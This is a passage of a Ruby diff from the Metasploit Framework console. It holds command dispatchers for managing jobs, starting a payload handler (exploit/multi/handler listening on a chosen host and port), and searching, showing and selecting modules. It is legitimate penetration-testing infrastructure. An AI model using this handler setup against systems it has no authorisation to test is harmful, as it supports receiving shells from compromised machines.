|
||||
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the rename_job command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_rename_job_tabs(_str, words)
|
||||
return [] if words.length > 1
|
||||
framework.jobs.keys
|
||||
end
|
||||
|
||||
def cmd_jobs_help
|
||||
print_line "Usage: jobs [options]"
|
||||
print_line
|
||||
print_line "Active job manipulation and interaction."
|
||||
print @@jobs_opts.usage
|
||||
end
|
||||
|
||||
#
|
||||
# Displays and manages running jobs for the active instance of the
|
||||
# framework.
|
||||
#
|
||||
def cmd_jobs(*args)
|
||||
# Make the default behavior listing all jobs if there were no options
|
||||
# or the only option is the verbose flag
|
||||
args.unshift("-l") if args.empty? || args == ["-v"]
|
||||
|
||||
verbose = false
|
||||
dump_list = false
|
||||
dump_info = false
|
||||
job_id = nil
|
||||
|
||||
# Parse the command options
|
||||
@@jobs_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when "-v"
|
||||
verbose = true
|
||||
when "-l"
|
||||
dump_list = true
|
||||
# Terminate the supplied job ID(s)
|
||||
when "-k"
|
||||
job_list = build_range_array(val)
|
||||
if job_list.blank?
|
||||
print_error("Please specify valid job identifier(s)")
|
||||
return false
|
||||
end
|
||||
print_status("Stopping the following job(s): #{job_list.join(', ')}")
|
||||
job_list.map(&:to_s).each do |job|
|
||||
if framework.jobs.key?(job)
|
||||
print_status("Stopping job #{job}")
|
||||
framework.jobs.stop_job(job)
|
||||
else
|
||||
print_error("Invalid job identifier: #{job}")
|
||||
end
|
||||
end
|
||||
when "-K"
|
||||
print_line("Stopping all jobs...")
|
||||
framework.jobs.each_key do |i|
|
||||
framework.jobs.stop_job(i)
|
||||
end
|
||||
when "-i"
|
||||
# Defer printing anything until the end of option parsing
|
||||
# so we can check for the verbose flag.
|
||||
dump_info = true
|
||||
job_id = val
|
||||
when "-h"
|
||||
cmd_jobs_help
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
if dump_list
|
||||
print("\n#{Serializer::ReadableText.dump_jobs(framework, verbose)}\n")
|
||||
end
|
||||
if dump_info
|
||||
if job_id && framework.jobs[job_id.to_s]
|
||||
job = framework.jobs[job_id.to_s]
|
||||
mod = job.ctx[0]
|
||||
|
||||
output = '\n'
|
||||
output += "Name: #{mod.name}"
|
||||
output += ", started at #{job.start_time}" if job.start_time
|
||||
print_line(output)
|
||||
|
||||
show_options(mod) if mod.options.has_options?
|
||||
|
||||
if verbose
|
||||
mod_opt = Serializer::ReadableText.dump_advanced_options(mod, ' ')
|
||||
if mod_opt && !mod_opt.empty?
|
||||
print_line("\nModule advanced options:\n\n#{mod_opt}\n")
|
||||
end
|
||||
end
|
||||
else
|
||||
print_line("Invalid Job ID")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the jobs command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_jobs_tabs(_str, words)
|
||||
return @@jobs_opts.fmt.keys if words.length == 1
|
||||
|
||||
if words.length == 2 && (@@jobs_opts.fmt[words[1]] || [false])[0]
|
||||
return framework.jobs.keys
|
||||
end
|
||||
|
||||
[]
|
||||
end
|
||||
|
||||
def cmd_kill_help
|
||||
print_line "Usage: kill <job1> [job2 ...]"
|
||||
print_line
|
||||
print_line "Equivalent to 'jobs -k job1 -k job2 ...'"
|
||||
print @@jobs_opts.usage
|
||||
end
|
||||
|
||||
def cmd_kill(*args)
|
||||
cmd_jobs("-k", *args)
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the kill command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_kill_tabs(_str, words)
|
||||
return [] if words.length > 1
|
||||
framework.jobs.keys
|
||||
end
|
||||
|
||||
def cmd_handler_help
|
||||
print_line "Usage: handler [options]"
|
||||
print_line
|
||||
print_line "Spin up a Payload Handler as background job."
|
||||
print @@handler_opts.usage
|
||||
end
|
||||
|
||||
# Allows the user to setup a payload handler as a background job from a single command.
|
||||
def cmd_handler(*args)
|
||||
# Display the help banner if no arguments were passed
|
||||
if args.empty?
|
||||
cmd_handler_help
|
||||
return
|
||||
end
|
||||
|
||||
exit_on_session = false
|
||||
payload_module = nil
|
||||
port = nil
|
||||
host = nil
|
||||
job_name = nil
|
||||
stage_encoder = nil
|
||||
|
||||
# Parse the command options
|
||||
@@handler_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when "-x"
|
||||
exit_on_session = true
|
||||
when "-p"
|
||||
payload_module = framework.payloads.create(val)
|
||||
if payload_module.nil?
|
||||
print_error "Invalid Payload Name Supplied!"
|
||||
return
|
||||
end
|
||||
when "-P"
|
||||
port = val
|
||||
when "-H"
|
||||
host = val
|
||||
when "-n"
|
||||
job_name = val
|
||||
when "-e"
|
||||
encoder_module = framework.encoders.create(val)
|
||||
if encoder_module.nil?
|
||||
print_error "Invalid Encoder Name Supplied"
|
||||
end
|
||||
stage_encoder = encoder_module.refname
|
||||
when "-h"
|
||||
cmd_handler_help
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
# If we are missing any of the required options, inform the user about each
|
||||
# missing options, and not just one. Then exit so they can try again.
|
||||
print_error "You must select a payload with -p <payload>" if payload_module.nil?
|
||||
print_error "You must select a port(RPORT/LPORT) with -P <port number>" if port.nil?
|
||||
print_error "You must select a host(RHOST/LHOST) with -H <hostname or address>" if host.nil?
|
||||
if payload_module.nil? || port.nil? || host.nil?
|
||||
print_error "Please supply missing arguments and try again."
|
||||
return
|
||||
end
|
||||
|
||||
handler = framework.modules.create('exploit/multi/handler')
|
||||
payload_datastore = payload_module.datastore
|
||||
|
||||
# Set The RHOST or LHOST for the payload
|
||||
if payload_datastore.has_key? "LHOST"
|
||||
payload_datastore['LHOST'] = host
|
||||
elsif payload_datastore.has_key? "RHOST"
|
||||
payload_datastore['RHOST'] = host
|
||||
else
|
||||
print_error "Could not determine how to set Host on this payload..."
|
||||
return
|
||||
end
|
||||
|
||||
# Set the RPORT or LPORT for the payload
|
||||
if payload_datastore.has_key? "LPORT"
|
||||
payload_datastore['LPORT'] = port
|
||||
elsif payload_datastore.has_key? "RPORT"
|
||||
payload_datastore['RPORT'] = port
|
||||
else
|
||||
print_error "Could not determine how to set Port on this payload..."
|
||||
return
|
||||
end
|
||||
|
||||
# Set StageEncoder if selected
|
||||
if stage_encoder.present?
|
||||
payload_datastore["EnableStageEncoding"] = true
|
||||
payload_datastore["StageEncoder"] = stage_encoder
|
||||
end
|
||||
|
||||
# Merge payload datastore options into the handler options
|
||||
handler_opts = {
|
||||
'Payload' => payload_module.refname,
|
||||
'LocalInput' => driver.input,
|
||||
'LocalOutput' => driver.output,
|
||||
'ExitOnSession' => exit_on_session,
|
||||
'RunAsJob' => true
|
||||
}
|
||||
handler.datastore.reverse_merge!(payload_datastore)
|
||||
|
||||
# Launch our Handler and get the Job ID
|
||||
handler.exploit_simple(handler_opts)
|
||||
job_id = handler.job_id
|
||||
|
||||
# Customise the job name if the user asked for it
|
||||
if job_name.present?
|
||||
framework.jobs[job_id.to_s].send(:name=, job_name)
|
||||
end
|
||||
|
||||
print_status "Payload Handler Started as Job #{job_id}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,1121 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/ui/text/output/buffer/stdout'
|
||||
|
||||
module Msf
|
||||
module Ui
|
||||
module Console
|
||||
module CommandDispatcher
|
||||
|
||||
#
|
||||
# {CommandDispatcher} for commands related to background jobs in Metasploit Framework.
|
||||
#
|
||||
class Modules
|
||||
|
||||
include Msf::Ui::Console::CommandDispatcher
|
||||
|
||||
# Constant for a retry timeout on using modules before they're loaded
|
||||
CMD_USE_TIMEOUT = 3
|
||||
|
||||
# Constant for disclosure date formatting in search functions
|
||||
DISCLOSURE_DATE_FORMAT = "%Y-%m-%d"
|
||||
|
||||
@@search_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner."]
|
||||
)
|
||||
|
||||
def commands
|
||||
{
|
||||
"back" => "Move back from the current context",
|
||||
"edit" => "Edit the current module with $VISUAL or $EDITOR",
|
||||
"advanced" => "Displays advanced options for one or more modules",
|
||||
"info" => "Displays information about one or more modules",
|
||||
"options" => "Displays global options or for one or more modules",
|
||||
"loadpath" => "Searches for and loads modules from a path",
|
||||
"popm" => "Pops the latest module off the stack and makes it active",
|
||||
"pushm" => "Pushes the active or list of modules onto the module stack",
|
||||
"previous" => "Sets the previously loaded module as the current module",
|
||||
"reload_all" => "Reloads all modules from all defined module paths",
|
||||
"search" => "Searches module names and descriptions",
|
||||
"show" => "Displays modules of a given type, or all modules",
|
||||
"use" => "Selects a module by name",
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the datastore cache
|
||||
#
|
||||
def initialize(driver)
|
||||
super
|
||||
|
||||
@dscache = {}
|
||||
@cache_payloads = nil
|
||||
@previous_module = nil
|
||||
@module_name_stack = []
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the name of the command dispatcher.
|
||||
#
|
||||
def name
|
||||
"Module"
|
||||
end
|
||||
|
||||
|
||||
def local_editor
|
||||
Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') || '/usr/bin/vim'
|
||||
end
|
||||
|
||||
def cmd_edit_help
|
||||
msg = "Edit the currently active module"
|
||||
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "($VISUAL or $EDITOR must be set first)"}."
|
||||
print_line "Usage: edit"
|
||||
print_line
|
||||
print_line msg
|
||||
print_line "When done editing, you must reload the module with 'reload' or 'rexploit'."
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Edit the currently active module
|
||||
#
|
||||
def cmd_edit
|
||||
unless local_editor
|
||||
print_error "$VISUAL or $EDITOR must be set first. Try 'export EDITOR=/usr/bin/vim'"
|
||||
return
|
||||
end
|
||||
if active_module
|
||||
path = active_module.file_path
|
||||
print_status "Launching #{local_editor} #{path}"
|
||||
system(local_editor,path)
|
||||
else
|
||||
print_error "Nothing to edit -- try using a module first."
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def cmd_advanced_help
|
||||
print_line 'Usage: advanced [mod1 mod2 ...]'
|
||||
print_line
|
||||
print_line 'Queries the supplied module or modules for advanced options. If no module is given,'
|
||||
print_line 'show advanced options for the currently active module.'
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_advanced(*args)
|
||||
if args.empty?
|
||||
if (active_module)
|
||||
show_advanced_options(active_module)
|
||||
return true
|
||||
else
|
||||
print_error('No module active')
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
args.each { |name|
|
||||
mod = framework.modules.create(name)
|
||||
|
||||
if (mod == nil)
|
||||
print_error("Invalid module: #{name}")
|
||||
else
|
||||
show_advanced_options(mod)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def cmd_info_help
|
||||
print_line "Usage: info <module name> [mod2 mod3 ...]"
|
||||
print_line
|
||||
print_line "Options:"
|
||||
print_line "* The flag '-j' will print the data in json format"
|
||||
print_line "* The flag '-d' will show the markdown version with a browser. More info, but could be slow."
|
||||
print_line "Queries the supplied module or modules for information. If no module is given,"
|
||||
print_line "show info for the currently active module."
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Displays information about one or more module.
|
||||
#
|
||||
def cmd_info(*args)
|
||||
dump_json = false
|
||||
show_doc = false
|
||||
|
||||
if args.include?('-j')
|
||||
args.delete('-j')
|
||||
dump_json = true
|
||||
end
|
||||
|
||||
if args.include?('-d')
|
||||
args.delete('-d')
|
||||
show_doc = true
|
||||
end
|
||||
|
||||
if (args.length == 0)
|
||||
if (active_module)
|
||||
if dump_json
|
||||
print(Serializer::Json.dump_module(active_module) + "\n")
|
||||
elsif show_doc
|
||||
f = Rex::Quickfile.new(["#{active_module.shortname}_doc", '.html'])
|
||||
begin
|
||||
print_status("Generating documentation for #{active_module.shortname}, then opening #{f.path} in a browser...")
|
||||
Msf::Util::DocumentGenerator.spawn_module_document(active_module, f)
|
||||
ensure
|
||||
f.close if f
|
||||
end
|
||||
else
|
||||
print(Serializer::ReadableText.dump_module(active_module))
|
||||
end
|
||||
return true
|
||||
else
|
||||
cmd_info_help
|
||||
return false
|
||||
end
|
||||
elsif args.include? "-h"
|
||||
cmd_info_help
|
||||
return false
|
||||
end
|
||||
|
||||
args.each { |name|
|
||||
mod = framework.modules.create(name)
|
||||
|
||||
if (mod == nil)
|
||||
print_error("Invalid module: #{name}")
|
||||
elsif dump_json
|
||||
print(Serializer::Json.dump_module(mod) + "\n")
|
||||
elsif show_doc
|
||||
f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html'])
|
||||
begin
|
||||
print_status("Generating documentation for #{mod.shortname}, then opening #{f.path} in a browser...")
|
||||
Msf::Util::DocumentGenerator.spawn_module_document(mod, f)
|
||||
ensure
|
||||
f.close if f
|
||||
end
|
||||
else
|
||||
print(Serializer::ReadableText.dump_module(mod))
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def cmd_options_help
|
||||
print_line 'Usage: options [mod1 mod2 ...]'
|
||||
print_line
|
||||
print_line 'Queries the supplied module or modules for options. If no module is given,'
|
||||
print_line 'show options for the currently active module.'
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_options(*args)
|
||||
if args.empty?
|
||||
if (active_module)
|
||||
show_options(active_module)
|
||||
return true
|
||||
else
|
||||
show_global_options
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
args.each do |name|
|
||||
mod = framework.modules.create(name)
|
||||
|
||||
if (mod == nil)
|
||||
print_error("Invalid module: #{name}")
|
||||
else
|
||||
show_options(mod)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the advanced command (same as use)
|
||||
#
|
||||
# @param str (see #cmd_use_tabs)
|
||||
# @param words (see #cmd_use_tabs)
|
||||
|
||||
def cmd_advanced_tabs(str, words)
|
||||
cmd_use_tabs(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the advanced command (same as use)
|
||||
#
|
||||
# @param str (see #cmd_use_tabs)
|
||||
# @param words (see #cmd_use_tabs)
|
||||
|
||||
def cmd_info_tabs(str, words)
|
||||
cmd_use_tabs(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the advanced command (same as use)
|
||||
#
|
||||
# @param str (see #cmd_use_tabs)
|
||||
# @param words (see #cmd_use_tabs)
|
||||
|
||||
def cmd_options_tabs(str, words)
|
||||
cmd_use_tabs(str, words)
|
||||
end
|
||||
|
||||
def cmd_loadpath_help
|
||||
print_line "Usage: loadpath </path/to/modules>"
|
||||
print_line
|
||||
print_line "Loads modules from the given directory which should contain subdirectories for"
|
||||
print_line "module types, e.g. /path/to/modules/exploits"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Adds one or more search paths.
|
||||
#
|
||||
def cmd_loadpath(*args)
|
||||
if (args.length == 0 or args.include? "-h")
|
||||
cmd_loadpath_help
|
||||
return true
|
||||
end
|
||||
|
||||
totals = {}
|
||||
overall = 0
|
||||
curr_path = nil
|
||||
|
||||
begin
|
||||
# Walk the list of supplied search paths attempting to add each one
|
||||
# along the way
|
||||
args.each { |path|
|
||||
curr_path = path
|
||||
|
||||
# Load modules, but do not consult the cache
|
||||
if (counts = framework.modules.add_module_path(path))
|
||||
counts.each_pair { |type, count|
|
||||
totals[type] = (totals[type]) ? (totals[type] + count) : count
|
||||
|
||||
overall += count
|
||||
}
|
||||
end
|
||||
}
|
||||
rescue NameError, RuntimeError
|
||||
log_error("Failed to add search path #{curr_path}: #{$!}")
|
||||
return true
|
||||
end
|
||||
|
||||
added = "Loaded #{overall} modules:\n"
|
||||
|
||||
totals.each_pair { |type, count|
|
||||
added << " #{count} #{type}#{count != 1 ? 's' : ''}\n"
|
||||
}
|
||||
|
||||
print(added)
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the loadpath command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_loadpath_tabs(str, words)
|
||||
return [] if words.length > 1
|
||||
|
||||
# This custom completion might better than Readline's... We'll leave it for now.
|
||||
#tab_complete_filenames(str,words)
|
||||
|
||||
paths = []
|
||||
if (File.directory?(str))
|
||||
paths = Dir.entries(str)
|
||||
paths = paths.map { |f|
|
||||
if File.directory? File.join(str,f)
|
||||
File.join(str,f)
|
||||
end
|
||||
}
|
||||
paths.delete_if { |f| f.nil? or File.basename(f) == '.' or File.basename(f) == '..' }
|
||||
else
|
||||
d = Dir.glob(str + "*").map { |f| f if File.directory?(f) }
|
||||
d.delete_if { |f| f.nil? or f == '.' or f == '..' }
|
||||
# If there's only one possibility, descend to the next level
|
||||
if (1 == d.length)
|
||||
paths = Dir.entries(d[0])
|
||||
paths = paths.map { |f|
|
||||
if File.directory? File.join(d[0],f)
|
||||
File.join(d[0],f)
|
||||
end
|
||||
}
|
||||
paths.delete_if { |f| f.nil? or File.basename(f) == '.' or File.basename(f) == '..' }
|
||||
else
|
||||
paths = d
|
||||
end
|
||||
end
|
||||
paths.sort!
|
||||
return paths
|
||||
end
|
||||
|
||||
def cmd_search_help
|
||||
print_line "Usage: search [keywords]"
|
||||
print_line
|
||||
print_line "Keywords:"
|
||||
{
|
||||
'app' => 'Modules that are client or server attacks',
|
||||
'author' => 'Modules written by this author',
|
||||
'bid' => 'Modules with a matching Bugtraq ID',
|
||||
'cve' => 'Modules with a matching CVE ID',
|
||||
'edb' => 'Modules with a matching Exploit-DB ID',
|
||||
'name' => 'Modules with a matching descriptive name',
|
||||
'platform' => 'Modules affecting this platform',
|
||||
'ref' => 'Modules with a matching ref',
|
||||
'type' => 'Modules of a specific type (exploit, auxiliary, or post)',
|
||||
}.each_pair do |keyword, description|
|
||||
print_line " #{keyword.ljust 10}: #{description}"
|
||||
end
|
||||
print_line
|
||||
print_line "Examples:"
|
||||
print_line " search cve:2009 type:exploit app:client"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Searches modules for specific keywords
|
||||
#
|
||||
def cmd_search(*args)
|
||||
match = ''
|
||||
@@search_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-t"
|
||||
print_error("Deprecated option. Use type:#{val} instead")
|
||||
cmd_search_help
|
||||
return
|
||||
when "-h"
|
||||
cmd_search_help
|
||||
return
|
||||
else
|
||||
match += val + " "
|
||||
end
|
||||
}
|
||||
|
||||
if framework.db
|
||||
if framework.db.migrated && framework.db.modules_cached
|
||||
search_modules_sql(match)
|
||||
return
|
||||
else
|
||||
print_warning("Module database cache not built yet, using slow search")
|
||||
end
|
||||
else
|
||||
print_warning("Database not connected, using slow search")
|
||||
end
|
||||
|
||||
tbl = generate_module_table("Matching Modules")
|
||||
[
|
||||
framework.exploits,
|
||||
framework.auxiliary,
|
||||
framework.post,
|
||||
framework.payloads,
|
||||
framework.nops,
|
||||
framework.encoders
|
||||
].each do |mset|
|
||||
mset.each do |m|
|
||||
o = mset.create(m[0]) rescue nil
|
||||
|
||||
# Expected if modules are loaded without the right pre-requirements
|
||||
next if not o
|
||||
|
||||
if not o.search_filter(match)
|
||||
tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ]
|
||||
end
|
||||
end
|
||||
end
|
||||
print_line(tbl.to_s)
|
||||
|
||||
end
|
||||
|
||||
# Prints table of modules matching the search_string.
|
||||
#
|
||||
# @param (see Msf::DBManager#search_modules)
|
||||
# @return [void]
|
||||
def search_modules_sql(search_string)
|
||||
tbl = generate_module_table("Matching Modules")
|
||||
framework.db.search_modules(search_string).each do |o|
|
||||
tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), RankingName[o.rank].to_s, o.name ]
|
||||
end
|
||||
print_line(tbl.to_s)
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the search command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_search_tabs(str, words)
|
||||
if words.length == 1
|
||||
return @@search_opts.fmt.keys
|
||||
end
|
||||
|
||||
case (words[-1])
|
||||
when "-r"
|
||||
return RankingName.sort.map{|r| r[1]}
|
||||
when "-t"
|
||||
return %w{auxiliary encoder exploit nop payload post}
|
||||
end
|
||||
|
||||
[]
|
||||
end
|
||||
|
||||
def cmd_show_help
|
||||
global_opts = %w{all encoders nops exploits payloads auxiliary plugins info options}
|
||||
print_status("Valid parameters for the \"show\" command are: #{global_opts.join(", ")}")
|
||||
|
||||
module_opts = %w{ missing advanced evasion targets actions }
|
||||
print_status("Additional module-specific parameters are: #{module_opts.join(", ")}")
|
||||
end
|
||||
|
||||
#
|
||||
# Displays the list of modules based on their type, or all modules if
|
||||
# no type is provided.
|
||||
#
|
||||
def cmd_show(*args)
|
||||
mod = self.active_module
|
||||
|
||||
args << "all" if (args.length == 0)
|
||||
|
||||
args.each { |type|
|
||||
case type
|
||||
when '-h'
|
||||
cmd_show_help
|
||||
when 'all'
|
||||
show_encoders
|
||||
show_nops
|
||||
show_exploits
|
||||
show_payloads
|
||||
show_auxiliary
|
||||
show_post
|
||||
show_plugins
|
||||
when 'encoders'
|
||||
show_encoders
|
||||
when 'nops'
|
||||
show_nops
|
||||
when 'exploits'
|
||||
show_exploits
|
||||
when 'payloads'
|
||||
show_payloads
|
||||
when 'auxiliary'
|
||||
show_auxiliary
|
||||
when 'post'
|
||||
show_post
|
||||
when 'info'
|
||||
cmd_info(*args[1, args.length])
|
||||
when 'options'
|
||||
if (mod)
|
||||
show_options(mod)
|
||||
else
|
||||
show_global_options
|
||||
end
|
||||
when 'missing'
|
||||
if (mod)
|
||||
show_missing(mod)
|
||||
else
|
||||
print_error("No module selected.")
|
||||
end
|
||||
when 'advanced'
|
||||
if (mod)
|
||||
show_advanced_options(mod)
|
||||
else
|
||||
print_error("No module selected.")
|
||||
end
|
||||
when 'evasion'
|
||||
if (mod)
|
||||
show_evasion_options(mod)
|
||||
else
|
||||
print_error("No module selected.")
|
||||
end
|
||||
when 'sessions'
|
||||
if (active_module and active_module.respond_to?(:compatible_sessions))
|
||||
sessions = active_module.compatible_sessions
|
||||
else
|
||||
sessions = framework.sessions.keys.sort
|
||||
end
|
||||
print_line
|
||||
print(Serializer::ReadableText.dump_sessions(framework, :session_ids => sessions))
|
||||
print_line
|
||||
when "plugins"
|
||||
show_plugins
|
||||
when "targets"
|
||||
if (mod and mod.exploit?)
|
||||
show_targets(mod)
|
||||
else
|
||||
print_error("No exploit module selected.")
|
||||
end
|
||||
when "actions"
|
||||
if mod && mod.kind_of?(Msf::Module::HasActions)
|
||||
show_actions(mod)
|
||||
else
|
||||
print_error("No module with actions selected.")
|
||||
end
|
||||
|
||||
else
|
||||
print_error("Invalid parameter \"#{type}\", use \"show -h\" for more information")
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the show command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_show_tabs(str, words)
|
||||
return [] if words.length > 1
|
||||
|
||||
res = %w{all encoders nops exploits payloads auxiliary post plugins options}
|
||||
if (active_module)
|
||||
res.concat(%w{ missing advanced evasion targets actions })
|
||||
if (active_module.respond_to? :compatible_sessions)
|
||||
res << "sessions"
|
||||
end
|
||||
end
|
||||
return res
|
||||
end
|
||||
|
||||
def cmd_use_help
|
||||
print_line "Usage: use module_name"
|
||||
print_line
|
||||
print_line "The use command is used to interact with a module of a given name."
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Uses a module.
|
||||
#
|
||||
def cmd_use(*args)
|
||||
if (args.length == 0)
|
||||
cmd_use_help
|
||||
return false
|
||||
end
|
||||
|
||||
# Try to create an instance of the supplied module name
|
||||
mod_name = args[0]
|
||||
|
||||
begin
|
||||
mod = framework.modules.create(mod_name)
|
||||
unless mod
|
||||
# Try one more time; see #4549
|
||||
sleep CMD_USE_TIMEOUT
|
||||
mod = framework.modules.create(mod_name)
|
||||
unless mod
|
||||
print_error("Failed to load module: #{mod_name}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
rescue Rex::AmbiguousArgumentError => info
|
||||
print_error(info.to_s)
|
||||
rescue NameError => info
|
||||
log_error("The supplied module name is ambiguous: #{$!}.")
|
||||
end
|
||||
|
||||
return false if (mod == nil)
|
||||
|
||||
# Enstack the command dispatcher for this module type
|
||||
dispatcher = nil
|
||||
|
||||
case mod.type
|
||||
when Msf::MODULE_ENCODER
|
||||
dispatcher = Msf::Ui::Console::CommandDispatcher::Encoder
|
||||
when Msf::MODULE_EXPLOIT
|
||||
dispatcher = Msf::Ui::Console::CommandDispatcher::Exploit
|
||||
when Msf::MODULE_NOP
|
||||
dispatcher = Msf::Ui::Console::CommandDispatcher::Nop
|
||||
when Msf::MODULE_PAYLOAD
|
||||
dispatcher = Msf::Ui::Console::CommandDispatcher::Payload
|
||||
when Msf::MODULE_AUX
|
||||
dispatcher = Msf::Ui::Console::CommandDispatcher::Auxiliary
|
||||
when Msf::MODULE_POST
|
||||
dispatcher = Msf::Ui::Console::CommandDispatcher::Post
|
||||
else
|
||||
print_error("Unsupported module type: #{mod.type}")
|
||||
return false
|
||||
end
|
||||
|
||||
# If there's currently an active module, enqueque it and go back
|
||||
if (active_module)
|
||||
@previous_module = active_module
|
||||
cmd_back()
|
||||
end
|
||||
|
||||
if (dispatcher != nil)
|
||||
driver.enstack_dispatcher(dispatcher)
|
||||
end
|
||||
|
||||
# Update the active module
|
||||
self.active_module = mod
|
||||
|
||||
# If a datastore cache exists for this module, then load it up
|
||||
if @dscache[active_module.fullname]
|
||||
active_module.datastore.update(@dscache[active_module.fullname])
|
||||
end
|
||||
|
||||
@cache_payloads = nil
|
||||
mod.init_ui(driver.input, driver.output)
|
||||
|
||||
# Update the command prompt
|
||||
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
|
||||
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
||||
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true)
|
||||
end
|
||||
|
||||
#
|
||||
# Command to take to the previously active module
|
||||
#
|
||||
def cmd_previous()
|
||||
if @previous_module
|
||||
self.cmd_use(@previous_module.fullname)
|
||||
else
|
||||
print_error("There isn't a previous module at the moment")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Help for the 'previous' command
|
||||
#
|
||||
def cmd_previous_help
|
||||
print_line "Usage: previous"
|
||||
print_line
|
||||
print_line "Set the previously loaded module as the current module"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Command to enqueque a module on the module stack
|
||||
#
|
||||
def cmd_pushm(*args)
|
||||
# could check if each argument is a valid module, but for now let them hang themselves
|
||||
if args.count > 0
|
||||
args.each do |arg|
|
||||
@module_name_stack.push(arg)
|
||||
# Note new modules are appended to the array and are only module (full)names
|
||||
end
|
||||
else #then just push the active module
|
||||
if active_module
|
||||
#print_status "Pushing the active module"
|
||||
@module_name_stack.push(active_module.fullname)
|
||||
else
|
||||
print_error("There isn't an active module and you didn't specify a module to push")
|
||||
return self.cmd_pushm_help
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the pushm command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_pushm_tabs(str, words)
|
||||
tab_complete_module(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
# Help for the 'pushm' command
|
||||
#
|
||||
def cmd_pushm_help
|
||||
print_line "Usage: pushm [module1 [,module2, module3...]]"
|
||||
print_line
|
||||
print_line "push current active module or specified modules onto the module stack"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Command to dequeque a module from the module stack
|
||||
#
|
||||
def cmd_popm(*args)
|
||||
if (args.count > 1 or not args[0].respond_to?("to_i"))
|
||||
return self.cmd_popm_help
|
||||
elsif args.count == 1
|
||||
# then pop 'n' items off the stack, but don't change the active module
|
||||
if args[0].to_i >= @module_name_stack.count
|
||||
# in case they pass in a number >= the length of @module_name_stack
|
||||
@module_name_stack = []
|
||||
print_status("The module stack is empty")
|
||||
else
|
||||
@module_name_stack.pop[args[0]]
|
||||
end
|
||||
else #then just pop the array and make that the active module
|
||||
pop = @module_name_stack.pop
|
||||
if pop
|
||||
return self.cmd_use(pop)
|
||||
else
|
||||
print_error("There isn't anything to pop, the module stack is empty")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Help for the 'popm' command
|
